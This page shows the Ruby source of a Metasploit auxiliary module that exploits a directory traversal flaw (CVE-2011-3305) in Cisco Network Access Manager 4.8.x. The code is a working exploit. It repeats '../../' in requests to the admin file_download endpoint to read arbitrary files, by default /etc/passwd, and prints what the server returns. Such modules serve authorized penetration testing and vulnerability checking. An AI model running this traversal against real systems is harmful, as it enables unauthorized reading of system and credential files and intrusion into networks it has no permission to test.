Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',12'Description' => %q{13This module tests whether a directory traversal vulnerability is present14in versions of Cisco Network Access Manager 4.8.x You may wish to change15FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.16},17'References' =>18[19[ 'CVE', '2011-3305' ],20[ 'OSVDB', '76080']21],22'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],23'License' => MSF_LICENSE,24'DefaultOptions' => {25'SSL' => true26}27)2829register_options(30[31Opt::RPORT(443),32OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),33OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),34])35end3637def run_host(ip)3839traversal = '../../'40part1= '/admin/file_download?tag='41part2 = '&fileType=snapshot'4243begin44print_status("Attempting to connect to #{rhost}:#{rport}")45res = send_request_raw(46{47'method' => 'GET',48'uri' => '/admin',49}, 25)5051if (res)521.upto(datastore['MAXDIRS']) do |level|53try = traversal * level54traversalstring = part1 + try + datastore['FILE'] + part255res = send_request_raw(56{57'method' => 'GET',58'uri' => traversalstring,59}, 25)60if (res and res.code == 200)61print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")62break63elsif (res and res.code)64print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")65end66end67end6869rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout70rescue ::Timeout::Error, ::Errno::EPIPE71end72end73end747576